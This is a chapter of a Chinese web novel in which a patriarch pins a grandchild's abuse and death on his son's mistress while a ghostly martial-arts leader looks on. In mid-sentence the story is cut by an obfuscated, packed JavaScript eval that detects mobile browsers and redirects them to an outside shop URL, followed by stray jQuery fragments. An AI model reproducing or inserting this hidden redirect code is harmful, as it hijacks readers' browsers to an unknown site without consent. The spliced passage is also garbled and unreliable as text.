6. 偿命 黄舟的手紧了紧。
作品:《最后一个武林盟主》 黄舟的手紧了紧。
屋子里的气氛死沉死沉的,众人心思各异,谁也没有注意到他们。只有床边的李昌然猛地抬头,顺着黄舟的目光向后看了一眼,他看见客厅的墙壁上挂着一幅很抽象的风景画。
风景中夜景炫目艳丽,却被各种杂乱的荆棘——具象化的线条粗暴得分割和羁绊,画面中精密绚烂和粗暴撕裂交织在一起,
就像李家乃至此刻的整个集团,光怪陆离,混乱不堪。
谁也没想到,率先打破沉默的,是张伟春。
他扶着李佳的肩膀,支撑着她摇摇欲坠的身子,看向李昌然:“李总,有没有什么需要帮忙的?”
李昌然将视线收回,看看他,看看黄舟,满脸的愁容和疲惫:“张总,黄总,我家门不幸,让你们看笑话了。”
黄舟簇起眉,脸上却挂着模板一样标准的笑容:“李总有话不妨直说。”
姜明朝手心有点痒,她控制着自己想给他一巴掌的冲动,又往后站了一点。
什么狗玩意儿?
这会还笑得出来?
李昌然道:“虽说两个孩子离婚的时候,阿源的抚养权被小紫争走了,但他还是记在我李家名下,是我们家唯一的后代。我把他看的比眼珠子还金贵,如今出了这样的意外,我恨不得杀了李冲给孩子陪命。但是……”
黄舟静静地站着,如芝兰玉树,他还是笑,但那笑容逐渐得冷淡了些:“理解,您舍不得。”
黄舟为人十分谦和,人人都赞他温文有礼。
但没人真把他当脾气好的富家公子看。
他是二代中的另类,像是黄家祖坟开了花养出来的奇葩。黄舟商业版图扩展的速度之快,俨然是商圈中的一个奇迹。如今,不止年轻一代以他马首是瞻,就连老一辈的,见了面都得客客气气喊他一声黄总了。
饶是李昌然这样的老江湖,寻常都辨不清他是喜是怒。
但这话讽刺意味实在太明显,李昌然收敛了苦相,面上还是强撑着道:“黄总,明朝不准王爷进京,清朝不准王爷出京,你觉得哪个更高明?”
这孩子身上的伤痕累累,显然遭受这种非人的折磨不是一日两日了。
李昌然活的老成了精了,说三句话必有两句要打机锋,最后一句才能进正题,简直烦不胜烦。
两者本质都为巩固皇权,短期看都有效果,长期看都没解决问题,有什么优劣之分。
黄舟向后退了两步,他依靠着墙壁,一手插兜,一手摸出了打火机。
李昌然不避讳让他们看到眼前这一幕,看来是想好了,要把他当枪使,只是不知道,他这个枪要把用来对准谁?!
袁家?
烦躁的时候,他下意识想抽支烟,但是余光瞥到房间的孩子,他又忍住了掏烟的手,只握着打火机有一搭没一搭的把玩。
李昌然见他不答,继续说道:“黄总放养你,天高海阔任你飞。李冲我圈养他,自小耳提面命,循循善诱。你觉得哪个更高明?”
他锐利的目光盯着黄舟,又难过又嫉恨:“其实无所谓高不高明,父母爱子,恩有千重,但龙生九子,各有不同。”
他倦怠得说:“李冲他,命不好罢了。”
“李冲的命不好吗?”一直恍恍惚惚的李佳终于忍不住,气愤得尖叫起来。
她抹一把泪:“李冲刚生出来,您就给了他集团10%的股份,说他含着金汤匙出生不为过吧!他逃学,您给校董送酒庄,学校的后门常年为他开着;他早恋搞大人家的肚子,您花钱摆平,人家该堕胎堕胎,该转学转学;他喝多了酒驾,撞了人,您找人替他顶包坐牢。他活到今天,吃过一点苦,受过一点罪吗?他把阿源接过来,就让他睡在这个老鼠洞一样的储物间里,把他折磨到死。如今他已经歹毒到连自己亲生的孩子都能下得去手害死,您又准备怎么替他善后?他哪里命不好了?爸爸,阿源投胎做了他的孩子,做了您的孙子,才是命不好吧!”
明明是精装的高档小三房,阿源却一直住在这间小小的,连窗户都没有的储物间里。李昌然坐在凳子上,胳膊腿都伸不直,他一张老脸红了又白,饶是见惯了浮沉,也还是被亲生女儿尖锐的质问震惊的呆住。
是这样吗?
孩子不成熟,不都会犯些错吗?
做父亲的,难道不应该帮孩子处理这些烂糟遭的事吗?
李冲是不成器了一些,但他也有讨人喜欢的时候。出生的时候,他黄疸指数高,被放在保温箱里关了十天。李昌然隔着玻璃看他,见他瘦瘦小小的一团,却扭头朝着自己笑。三岁的时候,李昌然开始带着他上班,每每和集团的那些老人开会,老烟枪们吞云吐雾,他也只是揉着被熏红的眼睛,不吵不闹,乖乖得坐在角落里,坐的板板正正,听天书一般,努力地听着大人们在讲些什么。
他看向李冲。
李冲不知道什么时候清醒的,他缩着脖子苟在沙发上,双眼通红,看起来又呆又蠢。
是哪里出了错?
李冲愣愣得看着李佳,喝多了的脑袋重的抬不起来,他呆滞得给自己辩解:“阿源,是不小心掉下楼梯,摔死的啊……”
李佳冲上去拽他,边拽边毫不留情得骂:“你看看他身上的伤,睁开你的狗眼看看!你哪来的脸说,那是摔死的!”
喝多了的人比平时还重,李佳只拽了两下,就拽不动了,反被他拖得也摔在了地上。
“咚”得一声响,两个人拉拉扯扯得,乱成了一团。
保镖都眼观鼻鼻观心,没一个敢动。张伟春叹口气,连忙冲上前将李佳扶了起来。
李冲仰视着妹妹又慌神又气愤得神色,头疼屁股疼,半天缓不过劲儿,却还在低声的嘟囔:“玉香说,阿源是摔下去的啊……”
李佳正要打他的手顿住了,她清醒了许多,沉声问:“玉香是谁?”
李冲嘴唇上下翕动了两下,低下头两眼发昏得盯着白桦木的地板,不敢说话。
李昌然看着对峙的一双儿女,接过话头:“佳佳,你哥哥是糊涂了些,但是心软,胆子小,伤人命的事情,他是不会做的。”他顿了顿:“阿源的丧事不能拖,万宝山那里,有一块我给自己早就备好的墓地,已经在给阿源布置了,明日一早五点就发丧。今日你们都在这,还请做个见证,也辛苦你们,陪我们送阿源一程。”
说这话的时候,他一直看着黄舟,像是在等一个回答。
黄舟淡笑着应道:“李总给自己挑的墓地,自然是极好的。”
李昌然心下舒了口气,他没有拒绝,应当是答应了。日后袁家追究起来,有黄舟作证,也能缓和一二。
他注视着李冲,沉默了好一会,口气冰冷:“你养在这的那个小演员,叫余玉香是吧。巢子带人在机场等她了,等她给阿源赔了命,再算你的账。”
李冲不敢再说话,他晕乎乎得爬到沙发的一角,老大的个子,却真的窝成了一个虫。
姜明朝听着,瞧着,这老头好厉害的一张嘴,三下五除二的,便是将事情全推到一个叫余玉香的头上了。
自己的儿子倒成了个无辜的。
虎毒尚不食子,这个叫李冲的,无论是主犯还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166657|196743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮凶,都实在是窝囊,实在是愚蠢,实在是可恶至极。
她完全忘了自己此刻只是个魂魄,看着这一出滑稽的官司,忍了又忍,终于忍耐不住,对着李冲埋在沙发里的头就是一掌劈下。
黄舟一怔,站直了身子。
掌风凌厉,然而那一掌之下,李冲毫发无伤。
姜明朝愣住了,她看着自己的手。
五指修长,但手上的淤泥仍在,脏兮兮的看不清形状。若是寻常,这一掌下去,李冲骨骼全碎,要死无全尸了。但眼下,连他的头发丝儿都好端端得支棱着。
从醒来到现在,不过一夜,她终于后知后觉的生出了几分无力和惘然。
对了,自己还是个魂魄呢,什么都做不了。没有人看得到她,没有人听的到她,没有人怕她,没有人在意她。
她懵懵的抬头,下意识得看向黄舟。
黄舟也正看着她。
她眸色茫然,手还半抬在空中,锐气尽数退去,纤细的身姿青竹般挺立。她的个子在女子中算中等,大概只能到自己肩膀的位置,此刻抬着头看他,竟看着很乖巧。
黄舟攥紧了打火机,有些没想到武林盟主会是这样的人。
贵武林挑盟主的标准莫不是和娱乐圈选影后一样,靠资本运作出来的?
不然什么样的武林,能由得这么单纯的性子做盟主?
还是说,这份率真的性子只是她的保护色?——那这演技,未免也太好了些。
心下念头转了几遍,察觉到李昌然的目光又往他身上打量。
黄舟掏出烟,“咔嚓”一声点燃了,大步流星往门外走。
李昌然看着他点了烟出去,没有阻拦。那侧影灼灼风华,他昏黄老迈的眼睛看的一痛。
姜明朝回头神来,直直得跟着他往外走。
小区楼下有小桥流水,每隔十步左右的距离,就放置有四把黑色藤编的竹椅子和一张小桌子,桌上有个青花瓷的圆身小缸,里面积了一层薄薄的烟灰。
姜明朝挑了个黄舟对面的椅子上坐下,观察着他一言不发。
黄舟一出门就已经将烟头掐了,此刻将烟头那层烟灰捏在手指间摩挲。他看着有些警惕的姜明朝,温声解释道:“我有李氏集团的股份,不好和他们撕破脸。”
“股份?”姜明朝正思索着怎么问招魂仪式的事,没料到他会先说这个。
见黄舟温言软语,没有恶意,她绷紧的指尖逐渐放松,一时竟忘了他对别人也都是笑盈盈的,态度跟着软和了一些,但是该气氛还是很气愤:“所以,因着那些股份的交情,那孩子的命,对你们来说,就不值一提了是吗?”
黄舟不动声色得打量着她的反应,叹了口气说:“若要论交情,我和李总有交情,年年生日,他都悉心准备礼物送我,和李佳呢,我们有青梅竹马的交情,就连李冲,都有同过窗的交情。而且那个余玉香,我也是听过的。”
姜明朝听着他们之间这层层叠叠的关系,皱了皱眉。
黄舟接着说:“余玉香那个人,在娱乐圈也算的上有点名气。但鲜少有人知道,她精神有点问题”,他骨节分明的手指漫不经心得敲了敲桌面,“她有暴力倾向。若要在李冲和她之间选一个,余玉香是凶手的可能性确实更大。”
姜明朝直直得看着他,像在辨别他话中的真伪。他解释的很耐心,看起来也有几分真切的为难。
姜明朝的怒火莫名的被平息了不少。
半晌,她终于迟疑道:“但那孩子还没死啊。”
黄舟顿住了。
什么?

